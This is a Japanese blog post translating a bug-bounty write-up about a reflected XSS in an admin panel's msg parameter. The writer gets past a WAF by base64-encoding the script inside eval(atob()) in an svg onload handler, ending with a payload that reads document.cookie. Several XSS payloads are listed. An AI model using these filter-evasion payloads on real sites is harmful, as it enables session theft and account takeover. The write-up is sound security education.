Shikata Ga Nai

Private? There is no such things.

Bypassing WAF to perform XSSを訳してみた

Hello there, ('ω')ノ

 

XSSを実行するためにWAFをバイパスするを。

 

脆弱性:

 XSS

 

記事:

 https://infosecwriteups.com/bypassing-waf-to-perform-xss-2d2f5a4367f3

 

XSSを探していたところ、/adminディレクトリに管理者ログインフォームがある。

Webサイト(website.comと仮定)にアクセスすると。

下記が、website.com/adminの管理パネルで。

 

f:id:ThisIsOne:20220117065541p:plain

 

ランダムなクレデンシャルを入力して、どのような応答が得られるかを確認すると。

 /admin/index.php?msg=Invalid%20Email%20and%20Password

 

f:id:ThisIsOne:20220117065608p:plain

 

これは私がリダイレクトされたURLであり、デフォルトではエラーメッセージを表示するのは非常に悪い考えですが、これはさまざまなWebサイトでよく見られる実装です。

?msgの任意の値がWebサイトに反映される可能性があるため。

理解しやすいように下記のように変更してみると。

 website.com/admin/index.php?msg=HelloWorld

 

?msg=HelloWorldが反映されて。

 

f:id:ThisIsOne:20220117065639p:plain

 

これで、入力したすべての入力がその赤いフォントのテキストに。

反映されていることがわかったので。

HTMLタグを挿入しようとするとどうなるかHTMLインジェクションを。

 ?msg=<h1>Hello World</h1>

 

f:id:ThisIsOne:20220117065704p:plain

 

HTMLインジェクションが成功したので。

今度は、Javascriptコードを配置することに。

XSSがポップアップすることを期待して。

50を超える基本的なXSSペイロードを試すことに。

 ?msg=<script>alert(1)</script>
 ?msg=<img src=xss onerror=alert(1)>
 ?msg=<input/onmouseover=”javaSCRIPT&colon;confirm&lpar;1&rpar;”
 ?msg=<iframe %00 src=”&Tab;javascript:prompt(1)&Tab;”%00>

 

すべてサーバによってブロックされており、裏にWAFがあるようで。

下記がXSSリクエストがWAFによってブロックされた画面で。

 

f:id:ThisIsOne:20220117065731p:plain

 

50を超えるXSSペイロードを入力することで。

WAFが実際にフィルタリングしているものについて結論を出すことに。

 

<script>、<frame、<input、<formのすべてのペイロードは。

WAFによって直接ブロックされて。

alert( )を含むすべてのペイロードも、WAFによって直接ブロックされて。

では、alert( )が除外されたときに、XSSをどのようにポップアップするのかを。

推測していると、<imgが除外されていないことに気付いたので。

それに基づいてより複雑なペイロードを作成し始めて。

下記は、<imgはバイパスされたもののXSSはなくて。

 ?msg=<img/src=`%00`%20onerror=this.onerror=confirm(1)

 

f:id:ThisIsOne:20220117065829p:plain

 

次に、<svg>が除外されていないことに気づいて。

alert()がブロックされているものの、confirm()が機能したので試すと。

 <svg><script%20?>confirm(1)

 

svgが挿入されたものの、XSSポップアップはなくて。

 

f:id:ThisIsOne:20220117065950p:plain

 

WAFがあるので、eval.atobを使用したBase64デコードなどバイパスを試すと。

うまくいったので、<svg>を使い続けて。

 <svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>

 

https://developer.mozilla.org/ja/docs/Web/API/atob

f:id:ThisIsOne:20220117073023p:plain

 

f:id:ThisIsOne:20220117073209p:plain

 

このペイロードは、base64値をデコードしてalert(‘XSS’)に。

ペイロードを起動するとXSSが。

 

f:id:ThisIsOne:20220117065900p:plain

 

XSSペイロード(WAFによってフィルタで除外された)を。

base64にエンコードすることで、実行できて。

 <svg/onload=eval(atob(‘YWxlcnQoZG9jdW1lbnQuY29va2llKQ==’))>

 

f:id:ThisIsOne:20220117073707p:plain

 

このbase64は、alert(document.cookie) で、期待どおりに機能して。

Base64でエンコードされると、WAFによって検出されないようで。

 

f:id:ThisIsOne:20220117065922p:plain

 

Best regards, (^^ゞ